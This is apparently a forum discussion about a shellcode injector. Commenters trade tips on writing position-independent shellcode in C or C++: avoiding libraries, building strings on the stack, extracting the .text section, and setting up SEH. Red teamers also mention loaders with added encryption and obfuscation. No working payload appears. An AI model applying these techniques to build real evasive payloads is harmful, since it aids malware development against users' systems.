The "such a bad idea" part of this is that the code being injected is written in C++ rather than assembly. The injector itself is perfectly reasonable.
really? I've not written much shellcode at all, but what I did write wasn't generically-compiled C++ - it was always either C or ASM, specifically because you get to avoid all the platform and position-dependent stuff (except in return-to-libc payloads).
You can definitely use C++, but you need to use specific compiler flags and avoid things like the STL or exceptions. Strings need to be created on the stack, a few other tricks. Then you can extract the .text section assembly of the resulting binary and inject and run it.
That makes sense, but then a C++ without exceptions, without vtables, without the STL - might as well be C, right? There's not much going on there beyond syntax sugar!
You want to use C anyhow as you want to make sure you have control over the code that is output.
For example the following code you know what the assembly is going to be.
strcmp(char* a, char* b);
strcmp(str1,str2);
If you do the above as a template you can run into some weird issues that you may not be expecting. So while tedious, you would need to make your own wscmp. You also have to be very careful so that you don't pull in ANY libraries. Since your code needs to be 100 % independent and do the loading itself.
C++ exceptions are implemented at the OS level in windows. C++ exceptions using SEH, while there's also VEH and unhandled exceptions. You can easily use SEH for your shell code, it's just not documented well. But sadly you have to manually set this up by having something like
SetExceptionHandler(curAddr,Handler) // Where curaddr can be found by doing something like call $+5 so you remain position independent.
Yeah it's not super helpful. Maybe a bit smaller code, stricter type checking, a little faster compilation time possibly But not really a huge benefit over C. Sure beats writing it all in hand-coded assembly though!
Uhh yea, this is Running shellcode 101, works very well. My Red Team stuff at work all starts with a simple loader like this (with some encryption / obfuscation sprinkled in).
When I was first shown this I was like 'What non virus use case does this have!?!?'
Red teamer here too, and this was my exact thought. There's lots of legit uses for DLL injection, but straight up shellcode injection? Shady as hell. So of course it was an AV vendor...
Which is not an end-user advantage but rather a tool to better understand end-user software - equally useful for improving said software or attacking it. Assuming GP meant "virus" as in "malware" then actually this supports his point.